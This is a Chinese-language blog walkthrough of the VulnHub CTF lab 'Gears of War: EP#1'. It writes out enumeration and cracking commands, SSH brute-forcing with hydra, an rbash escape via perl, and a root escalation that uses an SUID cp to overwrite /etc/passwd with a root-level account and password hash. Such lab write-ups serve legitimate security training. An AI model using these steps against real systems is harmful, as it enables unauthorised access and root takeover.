『VulnHub系列』Gears of War: EP#1-Walkthrough

这是我完成的VulnHub上的第30个靶机。

靶机地址

难度:初级++

靶机发布日期:2019年10月17日

在这里插入图片描述

靶机描述:Its a CTF machine that deals with the history of gears of war, where we must try to escape from prison and obtain root privileges. it has some rabbit holes, so you have to try to connect the tracks to get access.

Works better in VirtualBox that VMware

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]

工具、知识点和漏洞

  • nmap
  • gobuster
  • crunsh
  • fcrackzip
  • enum4linux
  • smbclient
  • smb共享未授权访问
  • cp命令提权

0x00、信息收集

靶机IP:192.168.56.101

nmap -sn 192.168.56.0/24

在这里插入图片描述

端口和服务

nmap -sS -sV -T5 -A -p- 192.168.56.101

在这里插入图片描述

页面、目录枚举

gobuster dir -u http://192.168.56.101 -w ~/Desktop/SecLists/Discovery/Web-Content/raft-large-directories.txt -x .php,.txt,.html,.zip

枚举结果

  • /marcus.html
  • /dom.html
  • /cole.html
  • /baird.html
  • /acarmine.html

访问/marcus.html,看样子网页里面的注释可能是个hint。本以为是个目录,访问了一下发现不是。

在这里插入图片描述

访问/dom.html同样得到一个hint。

在这里插入图片描述

随后依次访问其他页面,从各页面得到如下提示

  • /cole.html >> pbyr
  • /baird.html >> onveq
  • /acarmine.html >> npnezvar

使用enum4liux进行smb信息枚举,得到共享//192.168.56.101/LOCUS_LAN$。之后用smbclient访问共享目录,得到两个文件。

在这里插入图片描述

解压zip文件时发现需要输入密码。查看SOS.txt文件,里面是有关密码的提示:

在这里插入图片描述

crunsh -t参数的含义

在这里插入图片描述

结合上面这两个,我们就知道需要使用crunsh生成密码字典,并且密码的长度为4位,以及组合方式。最后使用fcrackzip破解得到密码r44M

在这里插入图片描述

解压msg_horda.zip后得到key.txt。查看key.txt后发现里面有个字符串,结合之前的信息收集,想到的只有SSH的登录密码或者是网站的某个目录。访问http://192.168.56.101/3_d4y提示未发现页面。

hydra爆破一下得到了一组账号密码marcus:3_d4y,随后通过SSH登录系统。

在这里插入图片描述

0x01、rbash逃逸

登录系统后执行cd命令提示如下:

在这里插入图片描述

仔细看了一下提示发现是rbash

在这里插入图片描述

参考文章:

最后通过perl -e 'exec "bin/sh";'成功逃逸。

在这里插入图片描述

PS:后来重新登录靶机,发现直接执行perl -e 'exec "bin/sh";'无法逃逸,看来是与之前的一些测试有关系。

解决办法是在SSH登录的时候加上-t参数。

man ssh给出的解释如下:

-t:Force pseudo-terminal allocation. This can be used to execute arbitrary screen-based programs on a remote machine,which can be very useful, e.g. when implementing menu services. Multiple -t options force tty allocation, even if ssh has no local tty.

强制分配伪终端。 这可用于在远程计算机上执行任意基于屏幕的程序,这可能非常有用,例如,实施菜单服务时。即使ssh没有本地tty,多个-t选项也会强制tty分配。

在这里插入图片描述

0x02、权限提升

--------------------------------------------------------------Begin 套话分割线 Begin--------------------------------------------------------------

关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.pyLinEnum.sh.

如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux

先在kali上开启HTTP服务

python -m SimpleHTTPServer 65534

使用wget下载linuxprivchecker.py脚本到靶机的tmp目录

因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

为了便于查看收集到的信息,我将结果输出到report.txt文本中,之后使用less查看

python linuxprivchecker.py > report.txt
less report.txt

靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。

-------------------------------------------------------------- End 套话分割线 End --------------------------------------------------------------

find命令发现了SUID权限的/usr/share/vim/usr/share/awk/bin/cp

find / -perm -u=s 2>/dev/null

vim和awk在这里都没法提权成功。这两个命令的提权条件见https://gtfobins.github.io/gtfobins/awk/#limited-suidhttps://gtfobins.github.io/gtfobins/vim/#limited-suid

PS:虽然SUID权限的vim可以直接提权但是当前用户无法执行sudo命令。

我们这里用cp命令提权。思路就是新建一个passwd文件,复制靶机上/etc/passwd中的内容,并增加一条记录ins1ght:$1$xyz$NhnMM05Lqulqf2MG7zCjG/:0:0:root:/root:/bin/bash。然后用新建的passwd文件覆盖原有的/etc/passwd。

生成加密密码

openssl passwd -salt 'xyz' -1 ins1ght

在这里插入图片描述

在这里插入图片描述

0x03、后记

这个靶机应该还有其他的思路

在这里插入图片描述

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。我是ins1ght.

发布了41 篇原创文章 · 获赞 14 · 访问量 7899

猜你喜欢

转载自blog.csdn.net/weixin_44214107/article/details/103645000